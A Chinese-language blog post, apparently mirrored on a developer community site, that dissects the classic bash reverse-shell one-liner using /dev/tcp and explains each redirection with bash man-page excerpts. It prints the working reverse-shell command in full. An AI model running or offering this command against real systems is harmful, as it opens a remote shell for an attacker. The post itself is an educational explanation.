前往小程序,Get更优阅读体验!
立即前往
发布
社区首页 >专栏 >深入bash反弹shell的那条命令

深入bash反弹shell的那条命令

作者头像
用户1423082
发布2024-12-31 18:38:13
发布2024-12-31 18:38:13
6400
代码可运行
举报
文章被收录于专栏:giantbranch's bloggiantbranch's blog
运行总次数:0
代码可运行

想年后回广东,最近某次面试被虐了,说我研究东西不够深入,哎写点东西吧,虽然面的是二进制,但是电话面试面了近两小时,什么都可能聊到啦,所以这个是面试的一个点

其实以前我会斟酌每个细节,比如之前写的《通过sqli-labs学习sql注入》系列

https://blog.csdn.net/u012763794/column/info/15022

基本上除了数据库底层的东西,都会弄懂了

仔细回头看看,确实最近很少去深入研究某个东西了,是我做的东西太多了吗,涉及面太广了吗,还是最近懒惰了,还是我以前的知识忘了或者研究得不够深入,可能以上原因都有,但是研究得不够深入肯定是主因,因为一旦一个东西研究得非常透彻,你很难忘记,再怎么网,也能说出点什么

对于bash反弹shell这条命令,相信很多同学都很熟悉了:

代码语言:javascript
代码运行次数:0
复制
/bin/bash  -i  >& /dev/tcp/192.168.21.1/XXX 0>&1

但是这里面的每个细节是否都清楚了,这可就不一定了

关于-i

代码语言:javascript
代码运行次数:0
复制
root@instance-2:~# man bash | grep -E "\-i"
       -i        If the -i option is present, the shell is interactive.

首先-i是交互的模式,这个好像是必须的,但是真的吗,其实不用-i也是可以的

因为本来bash就是交互式的吧

关于>&

代码语言:javascript
代码运行次数:0
复制
root@kali:~# man bash | grep "Redirecting Standard Output and Standard Error" -A 30
   Redirecting Standard Output and Standard Error
       This construct allows both the standard output (file descriptor 1) and the standard error output (file descriptor 2) to be redirected to the file whose name  is
       the expansion of word.

       There are two formats for redirecting standard output and standard error:

              &>word
       and
              >&word

       Of the two forms, the first is preferred.  This is semantically equivalent to

              >word 2>&1

       When  using  the  second form, word may not expand to a number or -.  If it does, other redirection operators apply (see Duplicating File Descriptors below) for
       compatibility reasons.

   Appending Standard Output and Standard Error
       This construct allows both the standard output (file descriptor 1) and the standard error output (file descriptor 2) to be appended to the file  whose  name  is
       the expansion of word.

       The format for appending standard output and standard error is:

              &>>word

       This is semantically equivalent to

              >>word 2>&1

       (see Duplicating File Descriptors below).

看bash的文档,可以看到,这个是将标准输出和标准错误都重定向了

>word 2>&1的效果是一致的

当然我们用&>也是可以的

关于0>&1

0>1是将标准输入重定向到文件名为1的文件,不存在就创建

所以为了区别,那就在1前面加个&来表示标准输出

0>&1

关于 /dev/tcp/XXX.XXX.XXX.XXX/XXX

我们知道linux一切皆文件,但是其实这个文件肯定是不存在的

第一个是ipv4的ip这么多,端口是1-65535,这是多么庞大的一个组合

那么这是可能只是bash的特性,我们可以从man文档中看到

代码语言:javascript
代码运行次数:0
复制
root@instance-2:~# man bash | grep "/dev/tcp" -A 5
              /dev/tcp/host/port
                     If  host  is  a valid hostname or Internet address, and port is an integer port number or service name, bash attempts to
                     open the corresponding TCP socket.
              /dev/udp/host/port
                     If host is a valid hostname or Internet address, and port is an integer port number or service name,  bash  attempts  to
                     open the corresponding UDP socket.

那么这个是在主机名、ip地址以及端口有效的情况,会打开一个TCP的套接字,连接对应主机的对应端口

总结

通过一场好的面试确实可以学到很多东西,通过跟自己更牛的人交流,知道自己缺的是什么,差距在哪里

本文参与 腾讯云自媒体同步曝光计划,分享自作者个人站点/博客。
原始发表:2018-11-19,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 关于-i
  • 关于>&
  • 关于0>&1
  • 关于 /dev/tcp/XXX.XXX.XXX.XXX/XXX
  • 总结
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档